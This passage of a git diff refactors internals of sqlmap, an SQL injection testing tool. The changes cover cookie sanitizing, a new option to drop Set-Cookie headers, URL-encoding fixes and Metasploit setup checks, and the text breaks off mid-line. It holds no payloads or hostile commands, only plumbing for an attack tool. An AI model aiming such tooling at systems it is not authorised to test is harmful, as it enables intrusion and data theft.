if not kb.data.banner: conf.dbmsHandler.getVersionFromBanner() banVer = kb.bannerFp["dbmsVersion"] - if ( kb.dbms == "MySQL" and banVer >= "5.0.12" ) or ( kb.dbms == "PostgreSQL" and banVer >= "8.2" ): + if (kb.dbms == "MySQL" and banVer >= "5.0.12") or (kb.dbms == "PostgreSQL" and banVer >= "8.2"): query = queries[kb.dbms].timedelay % conf.timeSec else: query = queries[kb.dbms].timedelay2 % conf.timeSec - else: + else: query = queries[kb.dbms].timedelay % conf.timeSec return query - - + def getLocalIP(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((conf.hostname, conf.port)) @@ -760,11 +718,9 @@ def getLocalIP(): return ip - def getRemoteIP(): return socket.gethostbyname(conf.hostname) - def getFileType(filePath): try: magicFileType = magic.from_file(filePath) @@ -775,8 +731,7 @@ def getFileType(filePath): return "text" else: return "binary" - - + def pollProcess(process): while True: dataToStdout(".") @@ -793,12 +748,11 @@ def pollProcess(process): dataToStdout(" quit unexpectedly with return code %d\n" % returncode) break - - + def getCharset(charsetType=None): asciiTbl = [] - if charsetType == None: + if charsetType is None: asciiTbl = range(0, 128) # 0 or 1 @@ -832,22 +786,49 @@ def getCharset(charsetType=None): asciiTbl.extend(range(96, 123)) return asciiTbl - - + def searchEnvPath(fileName): envPaths = os.environ["PATH"] - result = None + result = None - if IS_WIN is True: + if IS_WIN: envPaths = envPaths.split(";") else: envPaths = envPaths.split(":") for envPath in envPaths: envPath = envPath.replace(";", "") - result = os.path.exists(os.path.normpath(os.path.join(envPath, fileName))) + result = os.path.exists(os.path.normpath(os.path.join(envPath, fileName))) - if result == True: + if result: break return result + +def sanitizeCookie(cookieStr, warn=False): + if cookieStr: + result = "" + changed = False + for part in cookieStr.split(';'): + index = part.find('=') + 1 + if index > 0: + name = part[:index - 1].strip() + value = part[index:].replace(",","%2C").replace(";","%3B").replace(" ","%20") + if value != part[index:]: + changed = True + result += ";%s=%s" % (name, value) + elif part.strip().lower() != "secure": + result += "%s%s" % ("%3B", part.replace(",","%2C").replace(";","%3B").replace(" ","%20")) + else: + result += ";secure" + if result.startswith(';'): + result = result[1:] + elif result.startswith('%3B'): + result = result[3:] + if changed and warn: + warnMsg = "cookie is provided in HTTP unsafe format containing one " + warnMsg += "of problematic characters: ' ,;'. temporary sanitized." + logger.warn(warnMsg) + return result + else: + return None diff --git a/lib/core/convert.py b/lib/core/convert.py index 5d60de738..9830faf32 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -22,21 +22,17 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - import md5 import sha import struct import urllib - def base64decode(string): return string.decode("base64") - def base64encode(string): return string.encode("base64")[:-1] - def hexdecode(string): string = string.lower() @@ -44,45 +40,40 @@ def hexdecode(string): string = string[2:] return string.decode("hex") - - + def hexencode(string): return string.encode("hex") - def md5hash(string): return md5.new(string).hexdigest() - def orddecode(string): packedString = struct.pack("!"+"I" * len(string), *string) return "".join([chr(char) for char in struct.unpack("!"+"I"*(len(packedString)/4), packedString)]) - def ordencode(string): return tuple([ord(char) for char in string]) - def sha1hash(string): return sha.new(string).hexdigest() - def urldecode(string): - if not string: - return - - doublePercFreeString = string.replace("%%", "__DPERC__") - unquotedString = urllib.unquote_plus(doublePercFreeString) - unquotedString = unquotedString.replace("__DPERC__", "%%") - - return unquotedString + result = None + + if string: + result = urllib.unquote_plus(string) + return result def urlencode(string, safe=":/?%&=", convall=False): - if not string: - return + result = None - if convall == True: - return urllib.quote(string) + if string is None: + return result + + if convall: + result = urllib.quote(string) else: - return urllib.quote(string, safe) + result = urllib.quote(string, safe) + + return result diff --git a/lib/core/data.py b/lib/core/data.py index 70aa427a9..441104cfd 100644 --- a/lib/core/data.py +++ b/lib/core/data.py @@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - from lib.core.datatype import advancedDict from lib.core.settings import LOGGER diff --git a/lib/core/datatype.py b/lib/core/datatype.py index b93731558..474724cc4 100644 --- a/lib/core/datatype.py +++ b/lib/core/datatype.py @@ -22,10 +22,8 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - from lib.core.exception import sqlmapDataException - class advancedDict(dict): """ This class defines the sqlmap object, inheriting from Python data @@ -45,7 +43,6 @@ class advancedDict(dict): # After initialisation, setting attributes # is the same as setting an item - def __getattr__(self, item): """ Maps values to attributes @@ -57,7 +54,6 @@ class advancedDict(dict): except KeyError: raise sqlmapDataException, "Unable to access item '%s'" % item - def __setattr__(self, item, value): """ Maps attributes to values diff --git a/lib/core/dump.py b/lib/core/dump.py index fe7f222af..6c8c6c2d0 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -22,16 +22,13 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - -import re import os +import re from lib.core.common import dataToDumpFile from lib.core.data import conf from lib.core.data import logger - class Dump: """ This class defines methods used to parse and output the results @@ -42,8 +39,7 @@ class Dump: def __init__(self): self.__outputFile = None self.__outputFP = None - - + def __write(self, data, n=True): if n: print data @@ -55,13 +51,11 @@ class Dump: self.__outputFP.flush() conf.loggedToOut = True - - + def setOutputFile(self): self.__outputFile = "%s%slog" % (conf.outputPath, os.sep) self.__outputFP = open(self.__outputFile, "a") - - + def string(self, header, data, sort=True): if isinstance(data, (list, tuple, set)): self.lister(header, data, sort) @@ -81,13 +75,12 @@ class Dump: self.__write("%s: '%s'\n" % (header, data)) else: self.__write("%s:\tNone\n" % header) - - + def lister(self, header, elements, sort=True): if elements: self.__write("%s [%d]:" % (header, len(elements))) - if sort == True: + if sort: try: elements = set(elements) elements = list(elements) @@ -103,8 +96,7 @@ class Dump: if elements: self.__write("") - - + def userSettings(self, header, userSettings, subHeader): self.__areAdmins = set() @@ -131,8 +123,7 @@ class Dump: for setting in settings: self.__write(" %s: %s" % (subHeader, setting)) print - - + def dbTables(self, dbTables): if not isinstance(dbTables, dict): self.string("tables", dbTables) @@ -164,8 +155,7 @@ class Dump: self.__write("| %s%s |" % (table, blank)) self.__write("+%s+\n" % lines) - - + def dbTableColumns(self, tableColumns): for db, tables in tableColumns.items(): if not db: @@ -210,8 +200,7 @@ class Dump: self.__write("| %s%s | %s%s |" % (column, blank1, colType, blank2)) self.__write("+%s+%s+\n" % (lines1, lines2)) - - + def dbTableValues(self, tableValues): db = tableValues["__infos__"]["db"] if not db: @@ -306,7 +295,6 @@ class Dump: logger.info("Table '%s.%s' dumped to CSV file '%s'" % (db, table, dumpFileName)) - # object to manage how to print the retrieved queries output to # standard output and sessions file dumper = Dump() diff --git a/lib/core/exception.py b/lib/core/exception.py index 1b523c6b2..2d9c55b38 100644 --- a/lib/core/exception.py +++ b/lib/core/exception.py @@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - from lib.core.settings import PLATFORM from lib.core.settings import PYVERSION from lib.core.settings import VERSION @@ -33,67 +31,51 @@ from lib.core.settings import VERSION_STRING class sqlmapConnectionException(Exception): pass - class sqlmapDataException(Exception): pass - class sqlmapFilePathException(Exception): pass - class sqlmapGenericException(Exception): pass - class sqlmapMissingDependence(Exception): pass - class sqlmapMissingMandatoryOptionException(Exception): pass - class sqlmapMissingPrivileges(Exception): pass - class sqlmapNoneDataException(Exception): pass - class sqlmapNotVulnerableException(Exception): pass - class sqlmapRegExprException(Exception): pass - class sqlmapSyntaxException(Exception): pass - class sqlmapThreadException(Exception): pass - class sqlmapUndefinedMethod(Exception): pass - class sqlmapUnsupportedDBMSException(Exception): pass - class sqlmapUnsupportedFeatureException(Exception): pass - class sqlmapValueException(Exception): pass - def unhandledException(): errMsg = "unhandled exception in %s, please copy " % VERSION_STRING errMsg += "the command line and the following text and send by e-mail " @@ -103,7 +85,6 @@ def unhandledException(): errMsg += "Operating system: %s" % PLATFORM return errMsg - exceptionsTuple = ( sqlmapConnectionException, sqlmapDataException, diff --git a/lib/core/option.py b/lib/core/option.py index 2bd3dabda..04fe07a78 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - import cookielib import ctypes import difflib @@ -40,6 +38,7 @@ from lib.core.common import getFileType from lib.core.common import parseTargetUrl from lib.core.common import paths from lib.core.common import randomRange +from lib.core.common import sanitizeCookie from lib.core.common import sanitizeStr from lib.core.data import conf from lib.core.data import kb @@ -70,11 +69,9 @@ from lib.parse.queriesfile import queriesParser from lib.request.proxy import ProxyHTTPSHandler from lib.utils.google import Google - authHandler = urllib2.BaseHandler() proxyHandler = urllib2.BaseHandler() - def __urllib2Opener(): """ This function creates the urllib2 OpenerDirector. @@ -85,13 +82,15 @@ def __urllib2Opener(): debugMsg = "creating HTTP requests opener object" logger.debug(debugMsg) - - conf.cj = cookielib.LWPCookieJar() - opener = urllib2.build_opener(proxyHandler, authHandler, urllib2.HTTPCookieProcessor(conf.cj)) + + if conf.dropSetCookie: + opener = urllib2.build_opener(proxyHandler, authHandler) + else: + conf.cj = cookielib.LWPCookieJar() + opener = urllib2.build_opener(proxyHandler, authHandler, urllib2.HTTPCookieProcessor(conf.cj)) urllib2.install_opener(opener) - def __feedTargetsDict(reqFile, addedTargetUrls): fp = open(reqFile, "r") @@ -173,7 +172,6 @@ def __feedTargetsDict(reqFile, addedTargetUrls): kb.targetUrls.add(( url, method, data, cookie )) addedTargetUrls.add(url) - def __setMultipleTargets(): """ Define a configuration parameter if we are running in multiple target @@ -218,7 +216,6 @@ def __setMultipleTargets(): infoMsg += "testable requests from the targets list" logger.info(infoMsg) - def __setGoogleDorking(): """ This function checks if the way to request testable hosts is through @@ -266,7 +263,6 @@ def __setGoogleDorking(): errMsg += "have GET parameters to test for SQL injection" raise sqlmapGenericException, errMsg - def __setMetasploit(): if not conf.osPwn and not conf.osSmb and not conf.osBof: return @@ -276,7 +272,7 @@ def __setMetasploit(): msfEnvPathExists = False - if IS_WIN is True: + if IS_WIN: warnMsg = "Metasploit's msfconsole and msfcli are not supported " warnMsg += "on the native Windows Ruby interpreter. Please " warnMsg += "install Metasploit, Python interpreter and sqlmap on " @@ -300,7 +296,7 @@ def __setMetasploit(): if isinstance(isAdmin, (int, float, long)) and isAdmin == 0: isAdmin = True - elif IS_WIN is True: + elif IS_WIN: isAdmin = ctypes.windll.shell32.IsUserAnAdmin() if isinstance(isAdmin, (int, float, long)) and isAdmin == 1: @@ -349,14 +345,14 @@ def __setMetasploit(): warnMsg += "Framework 3 is installed" logger.warn(warnMsg) - if msfEnvPathExists != True: + if not msfEnvPathExists: warnMsg = "sqlmap is going to look for Metasploit Framework 3 " warnMsg += "installation into the environment paths" logger.warn(warnMsg) envPaths = os.environ["PATH"] - if IS_WIN is True: + if IS_WIN: envPaths = envPaths.split(";") else: envPaths = envPaths.split(":") @@ -379,12 +375,11 @@ def __setMetasploit(): break - if msfEnvPathExists != True: + if not msfEnvPathExists: errMsg = "unable to locate Metasploit Framework 3 installation. " errMsg += "Get it from http://metasploit.com/framework/download/" raise sqlmapFilePathException, errMsg - def __setWriteFile(): if not conf.wFile: return @@ -403,9 +398,8 @@ def __setWriteFile(): conf.wFileType = getFileType(conf.wFile) - def __setUnionTech(): - if conf.uTech == None: + if conf.uTech is None: conf.uTech = "NULL" return @@ -428,7 +422,6 @@ def __setUnionTech(): debugMsg += "'%s'" % uTechOriginal logger.debug(debugMsg) - def __setOS(): """ Force the back-end DBMS operating system option. @@ -451,7 +444,6 @@ def __setOS(): errMsg += "you." raise sqlmapUnsupportedDBMSException, errMsg - def __setDBMS(): """ Force the back-end DBMS option. @@ -482,12 +474,10 @@ def __setDBMS(): errMsg += "fingerprint it for you." raise sqlmapUnsupportedDBMSException, errMsg - def __setThreads(): if not isinstance(conf.threads, int) or conf.threads <= 0: conf.threads = 1 - def __setHTTPProxy(): """ Check and set the HTTP proxy to pass by all HTTP requests. @@ -526,7 +516,6 @@ def __setHTTPProxy(): else: proxyHandler = urllib2.ProxyHandler({"http": __proxyString}) - def __setHTTPAuthentication(): """ Check and set the HTTP authentication method (Basic, Digest or NTLM), @@ -588,7 +577,6 @@ def __setHTTPAuthentication(): authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(passwordMgr) - def __setHTTPMethod(): """ Check and set the HTTP method to perform HTTP requests through. @@ -610,7 +598,6 @@ def __setHTTPMethod(): debugMsg = "setting the HTTP method to %s" % conf.method logger.debug(debugMsg) - def __setHTTPExtraHeaders(): if conf.hostname: conf.httpHeaders.append(("Host", conf.hostname)) @@ -632,7 +619,6 @@ def __setHTTPExtraHeaders(): conf.httpHeaders.append(("Accept-Language", "en-us,en;q=0.5")) conf.httpHeaders.append(("Accept-Charset", "ISO-8859-15,utf-8;q=0.7,*;q=0.7")) - def __defaultHTTPUserAgent(): """ @return: default sqlmap HTTP User-Agent header @@ -648,7 +634,6 @@ def __defaultHTTPUserAgent(): # updated at March 2009 #return "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)" - def __setHTTPUserAgent(): """ Set the HTTP User-Agent header. @@ -712,7 +697,6 @@ def __setHTTPUserAgent(): logMsg += "file '%s': %s" % (conf.userAgentsFile, __userAgent) logger.info(logMsg) - def __setHTTPReferer(): """ Set the HTTP Referer @@ -724,7 +708,6 @@ def __setHTTPReferer(): conf.httpHeaders.append(("Referer", conf.referer)) - def __setHTTPCookies(): """ Set the HTTP Cookie header @@ -733,11 +716,12 @@ def __setHTTPCookies(): if conf.cookie: debugMsg = "setting the HTTP Cookie header" logger.debug(debugMsg) - + + conf.cookie = sanitizeCookie(conf.cookie, True) + conf.httpHeaders.append(("Connection", "Keep-Alive")) conf.httpHeaders.append(("Cookie", conf.cookie)) - def __setHTTPTimeout(): """ Set the HTTP timeout @@ -760,7 +744,6 @@ def __setHTTPTimeout(): socket.setdefaulttimeout(conf.timeout) - def __cleanupOptions(): """ Cleanup configuration attributes. @@ -808,7 +791,6 @@ def __cleanupOptions(): if conf.googleDork or conf.list: conf.multipleTargets = True - def __setConfAttributes(): """ This function set some needed attributes into the configuration @@ -843,7 +825,6 @@ def __setConfAttributes(): conf.threadException = False conf.wFileType = None - def __setKnowledgeBaseAttributes(): """ This function set some needed attributes into the knowledge base @@ -862,7 +843,7 @@ def __setKnowledgeBaseAttributes(): kb.dbmsDetected = False # Active (extensive) back-end DBMS fingerprint - kb.dbmsVersion = [] + kb.dbmsVersion = [ "Unknown" ] kb.dep = None kb.docRoot = None @@ -888,7 +869,6 @@ def __setKnowledgeBaseAttributes(): kb.unionCount = None kb.unionPosition = None - def __saveCmdline(): """ Saves the command line options on a sqlmap configuration INI file @@ -918,7 +898,7 @@ def __saveCmdline(): optionData.sort() for option, value, datatype in optionData: - if value == None: + if value is None: if datatype == "boolean": value = "False" elif datatype in ( "integer", "float" ): @@ -942,13 +922,12 @@ def __saveCmdline(): infoMsg = "saved command line options on '%s' configuration file" % paths.SQLMAP_CONFIG logger.info(infoMsg) - def __setVerbosity(): """ This function set the verbosity of sqlmap output messages. """ - if conf.verbose == None: + if conf.verbose is None: conf.verbose = 1 conf.verbose = int(conf.verbose) @@ -965,7 +944,6 @@ def __setVerbosity(): elif conf.verbose >= 4: logger.setLevel(8) - def __mergeOptions(inputOptions): """ Merge command line options with configuration file options. @@ -983,10 +961,9 @@ def __mergeOptions(inputOptions): inputOptionsItems = inputOptions.__dict__.items() for key, value in inputOptionsItems: - if not conf.has_key(key) or conf[key] == None or value != None: + if not conf.has_key(key) or conf[key] is None or value is not None: conf[key] = value - def init(inputOptions=advancedDict()): """ Set attributes into both configuration and knowledge base singletons diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 1069eabcd..51286ca1f 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - optDict = { # Family: { "parameter_name": "parameter_datatype" }, "Target": { @@ -36,6 +34,7 @@ optDict = { "method": "string", "data": "string", "cookie": "string", + "dropSetCookie": "boolean", "referer": "string", "agent": "string", "userAgentsFile": "string", @@ -131,11 +130,12 @@ optDict = { }, "Miscellaneous": { - "eta": "boolean", - "verbose": "integer", - "updateAll": "boolean", "sessionFile": "string", + "eta": "boolean", + "googlePage": "integer", + "updateAll": "boolean", "batch": "boolean", - "cleanup": "boolean" + "cleanup": "boolean", + "verbose": "integer" }, } diff --git a/lib/core/progress.py b/lib/core/progress.py index 7af7bee1e..129fbb9a6 100644 --- a/lib/core/progress.py +++ b/lib/core/progress.py @@ -22,11 +22,8 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - from lib.core.common import dataToStdout - class ProgressBar: """ This class defines methods to update and draw a progress bar @@ -42,7 +39,6 @@ class ProgressBar: self.__amount = 0 self.update() - def __convertSeconds(self, value): seconds = value minutes = seconds / 60 @@ -50,7 +46,6 @@ class ProgressBar: return "%.2d:%.2d" % (minutes, seconds) - def update(self, newAmount=0): """ This method updates the progress bar @@ -87,7 +82,6 @@ class ProgressBar: percentString = str(percentDone) + "%" self.__progBar = "%s %s" % (percentString, self.__progBar) - def draw(self, eta=0): """ This method draws the progress bar if it has changed @@ -102,7 +96,6 @@ class ProgressBar: blank = " " * (80 - len("\r%s %d/%d" % (self.__progBar, self.__amount, self.__max))) dataToStdout("\r%s %d/%d%s" % (self.__progBar, self.__amount, self.__max, blank)) - def __str__(self): """ This method returns the progress bar string diff --git a/lib/core/readlineng.py b/lib/core/readlineng.py index 3a1827a02..0fdaddebd 100644 --- a/lib/core/readlineng.py +++ b/lib/core/readlineng.py @@ -27,15 +27,12 @@ In addition to normal readline stuff, this module provides haveReadline boolean and _outputfile variable used in genutils. """ - - import sys from lib.core.data import logger from lib.core.settings import IS_WIN from lib.core.settings import PLATFORM - try: from readline import * import readline as _rl @@ -50,7 +47,7 @@ except ImportError: except ImportError: haveReadline = False -if IS_WIN is True and haveReadline: +if IS_WIN and haveReadline: try: _outputfile=_rl.GetOutputFile() except AttributeError: @@ -79,7 +76,6 @@ if PLATFORM == 'darwin' and haveReadline: uses_libedit = True - # the clear_history() function was only introduced in Python 2.4 and is # actually optional in the readline API, so we must explicitly check for its # existence. Some known platforms actually don't have it. This thread: diff --git a/lib/core/session.py b/lib/core/session.py index d41434703..7fe11f9eb 100644 --- a/lib/core/session.py +++ b/lib/core/session.py @@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - import re from lib.core.common import dataToSessionFile @@ -37,7 +35,6 @@ from lib.core.settings import MYSQL_ALIASES from lib.core.settings import PGSQL_ALIASES from lib.core.settings import ORACLE_ALIASES - def setString(): """ Save string to match in session file. @@ -51,7 +48,6 @@ def setString(): if condition: dataToSessionFile("[%s][None][None][String][%s]\n" % (conf.url, conf.string)) - def setRegexp(): """ Save regular expression to match in session file. @@ -65,7 +61,6 @@ def setRegexp(): if condition: dataToSessionFile("[%s][None][None][Regular expression][%s]\n" % (conf.url, conf.regexp)) - def setMatchRatio(): condition = ( not kb.resumedQueries @@ -76,7 +71,6 @@ def setMatchRatio(): if condition: dataToSessionFile("[%s][None][None][Match ratio][%s]\n" % (conf.url, conf.matchRatio)) - def setInjection(): """ Save information retrieved about injection place and parameter in the @@ -100,7 +94,6 @@ def setInjection(): dataToSessionFile("[%s][%s][%s][Injection parameter][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injParameter)) dataToSessionFile("[%s][%s][%s][Injection type][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injType)) - def setParenthesis(parenthesisCount): """ @param parenthesisCount: number of parenthesis to be set into the @@ -118,7 +111,6 @@ def setParenthesis(parenthesisCount): kb.parenthesis = parenthesisCount - def setDbms(dbms): """ @param dbms: database management system to be set into the knowledge @@ -148,7 +140,6 @@ def setDbms(dbms): logger.info("the back-end DBMS is %s" % kb.dbms) - def setOs(): """ Example of kb.bannerFp dictionary: @@ -196,7 +187,6 @@ def setOs(): if condition: dataToSessionFile("[%s][%s][%s][OS][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.os)) - def setStacked(): condition = ( not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and @@ -209,7 +199,6 @@ def setStacked(): if condition: dataToSessionFile("[%s][%s][%s][Stacked queries][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.stackedTest)) - def setUnion(comment=None, count=None, position=None): """ @param comment: union comment to save in session file @@ -249,7 +238,6 @@ def setUnion(comment=None, count=None, position=None): kb.unionPosition = position - def setRemoteTempPath(): condition = ( not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and @@ -259,7 +247,6 @@ def setRemoteTempPath(): if condition: dataToSessionFile("[%s][%s][%s][Remote temp path][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], conf.tmpPath)) - def resumeConfKb(expression, url, value): if expression == "String" and url == conf.url: string = value[:-1] diff --git a/lib/core/settings.py b/lib/core/settings.py index b817be879..c7e1a9cd7 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -22,15 +22,12 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - import logging import subprocess import sys - # sqlmap version and site -VERSION = "0.8-rc2" +VERSION = "0.8-rc3" VERSION_STRING = "sqlmap/%s" % VERSION SITE = "http://sqlmap.sourceforge.net" diff --git a/lib/core/shell.py b/lib/core/shell.py index 8f01dfb05..bc07c3508 100644 --- a/lib/core/shell.py +++ b/lib/core/shell.py @@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - import atexit import os import rlcompleter @@ -33,19 +31,16 @@ from lib.core.data import kb from lib.core.data import paths from lib.core.data import queries - def saveHistory(): historyPath = os.path.expanduser(paths.SQLMAP_HISTORY) readline.write_history_file(historyPath) - def loadHistory(): historyPath = os.path.expanduser(paths.SQLMAP_HISTORY) if os.path.exists(historyPath): readline.read_history_file(historyPath) - def queriesForAutoCompletion(): autoComplQueries = {} @@ -61,7 +56,6 @@ def queriesForAutoCompletion(): return autoComplQueries - class CompleterNG(rlcompleter.Completer): def global_matches(self, text): """ @@ -80,7 +74,6 @@ class CompleterNG(rlcompleter.Completer): return matches - def autoCompletion(sqlShell=False, osShell=False): # First of all we check if the readline is available, by default # it is not in Python default installation on Windows diff --git a/lib/core/subprocessng.py b/lib/core/subprocessng.py index 5a574aadb..e1442570d 100644 --- a/lib/core/subprocessng.py +++ b/lib/core/subprocessng.py @@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - import errno import os import sys @@ -31,8 +29,7 @@ import time from lib.core.settings import IS_WIN - -if IS_WIN is not True: +if not IS_WIN: import fcntl if (sys.hexversion >> 16) >= 0x202: @@ -40,7 +37,6 @@ if IS_WIN is not True: else: import FCNTL - def blockingReadFromFD(fd): # Quick twist around original Twisted function # Blocking read from a non-blocking file descriptor @@ -62,8 +58,7 @@ def blockingReadFromFD(fd): if not output: raise EOFError, "fd %s has been closed." % fd - return output - + return output def blockingWriteToFD(fd, data): # Another quick twist @@ -82,7 +77,6 @@ def blockingWriteToFD(fd, data): break - def setNonBlocking(fd): """ Make a file descriptor non-blocking diff --git a/lib/core/target.py b/lib/core/target.py index d7d2d32ef..1b0f95e27 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -22,15 +22,13 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - import os import time from lib.core.common import dataToSessionFile from lib.core.common import paramToDict from lib.core.common import parseTargetUrl -from lib.core.convert import urldecode +from lib.core.common import sanitizeCookie from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -41,7 +39,6 @@ from lib.core.exception import sqlmapGenericException from lib.core.exception import sqlmapSyntaxException from lib.core.session import resumeConfKb - def __setRequestParams(): """ Check and set the parameters and perform checks on 'data' option for @@ -65,21 +62,20 @@ def __setRequestParams(): raise sqlmapSyntaxException, errMsg if conf.data: - urlDecodedData = urldecode(conf.data).replace("%", "%%") - conf.parameters["POST"] = urlDecodedData - __paramDict = paramToDict("POST", urlDecodedData) + conf.parameters["POST"] = conf.data + __paramDict = paramToDict("POST", conf.data) if __paramDict: conf.paramDict["POST"] = __paramDict __testableParameters = True + conf.method = "POST" + # Perform checks on Cookie parameters if conf.cookie: - # TODO: sure about decoding the cookie? - #urlDecodedCookie = urldecode(conf.cookie).replace("%", "%%") - urlDecodedCookie = conf.cookie.replace("%", "%%") - conf.parameters["Cookie"] = urlDecodedCookie - __paramDict = paramToDict("Cookie", urlDecodedCookie) + conf.cookie = sanitizeCookie(conf.cookie) + conf.parameters["Cookie"] = conf.cookie + __paramDict = paramToDict("Cookie", conf.cookie) if __paramDict: conf.paramDict["Cookie"] = __paramDict @@ -89,7 +85,8 @@ def __setRequestParams(): if conf.httpHeaders: for httpHeader, headerValue in conf.httpHeaders: if httpHeader == "User-Agent": - conf.parameters["User-Agent"] = urldecode(headerValue).replace("%", "%%") + # No need for url encoding/decoding the user agent + conf.parameters["User-Agent"] = headerValue condition = not conf.testParameter condition |= "User-Agent" in conf.testParameter @@ -111,7 +108,6 @@ def __setRequestParams(): errMsg += "within the GET, POST and Cookie parameters" raise sqlmapGenericException, errMsg - def __setOutputResume(): """ Check and set the output text file and the resume functionality. @@ -167,7 +163,6 @@ def __setOutputResume(): errMsg = "unable to write on the session file specified" raise sqlmapFilePathException, errMsg - def __createFilesDir(): """ Create the file directory. @@ -181,7 +176,6 @@ def __createFilesDir(): if not os.path.isdir(conf.filePath): os.makedirs(conf.filePath, 0755) - def __createDumpDir(): """ Create the dump directory. @@ -195,7 +189,6 @@ def __createDumpDir(): if not os.path.isdir(conf.dumpPath): os.makedirs(conf.dumpPath, 0755) - def createTargetDirs(): """ Create the output directory. @@ -214,7 +207,6 @@ def createTargetDirs(): __createDumpDir() __createFilesDir() - def initTargetEnv(): """ Initialize target environment. diff --git a/lib/core/unescaper.py b/lib/core/unescaper.py index 592c13359..fe1f07fcc 100644 --- a/lib/core/unescaper.py +++ b/lib/core/unescaper.py @@ -22,19 +22,14 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - class Unescaper: def __init__(self): self.__unescaper = None - def setUnescape(self, unescapeFunction): self.__unescaper = unescapeFunction - def unescape(self, expression, quote=True): return self.__unescaper(expression, quote=quote) - unescaper = Unescaper() diff --git a/lib/core/update.py b/lib/core/update.py index 099ca0c98..fb40e3fc8 100644 --- a/lib/core/update.py +++ b/lib/core/update.py @@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - import difflib import os import re @@ -48,7 +46,6 @@ from lib.core.settings import SQLMAP_SOURCE_URL from lib.core.settings import VERSION from lib.request.connect import Connect as Request - def __updateMSSQLXML(): infoMsg = "updating Microsoft SQL Server XML versions file" logger.info(infoMsg) @@ -199,7 +196,6 @@ def __updateMSSQLXML(): infoMsg += "last update" logger.info(infoMsg) - def __createFile(pathname, data): mkpath(os.path.dirname(pathname)) @@ -207,7 +203,6 @@ def __createFile(pathname, data): fileFP.write(data) fileFP.close() - def __extractZipFile(tempDir, zipFile): # Check if the saved binary file is really a ZIP file if zipfile.is_zipfile(zipFile): @@ -221,7 +216,6 @@ def __extractZipFile(tempDir, zipFile): data = sqlmapZipFile.read(info.filename) __createFile(os.path.join(tempDir, info.filename), data) - def __updateSqlmap(): infoMsg = "updating sqlmap" logger.info(infoMsg) @@ -292,8 +286,6 @@ def __updateSqlmap(): # For each file and directory in the temporary directory copy it # to the sqlmap root path and set right permission - # TODO: remove files not needed anymore and all pyc within the - # sqlmap root path in the end for root, _, files in os.walk(os.path.join(tempDir, "sqlmap-%s" % sqlmapNewestVersion)): # Just for development release if '.svn' in root: @@ -334,7 +326,6 @@ def __updateSqlmap(): infoMsg = "sqlmap updated successfully" logger.info(infoMsg) - def update(): if not conf.updateAll: return diff --git a/lib/parse/banner.py b/lib/parse/banner.py index ce9eba725..c739db506 100644 --- a/lib/parse/banner.py +++ b/lib/parse/banner.py @@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - import re from xml.sax import parse @@ -35,7 +33,6 @@ from lib.core.data import kb from lib.core.data import paths from lib.parse.handler import FingerprintHandler - class MSSQLBannerHandler(ContentHandler): """ This class defines methods to parse and extract information from the @@ -51,7 +48,6 @@ class MSSQLBannerHandler(ContentHandler): self.__servicePack = "" self.__info = info - def __feedInfo(self, key, value): value = sanitizeStr(value) @@ -60,7 +56,6 @@ class MSSQLBannerHandler(ContentHandler): self.__info[key] = value - def 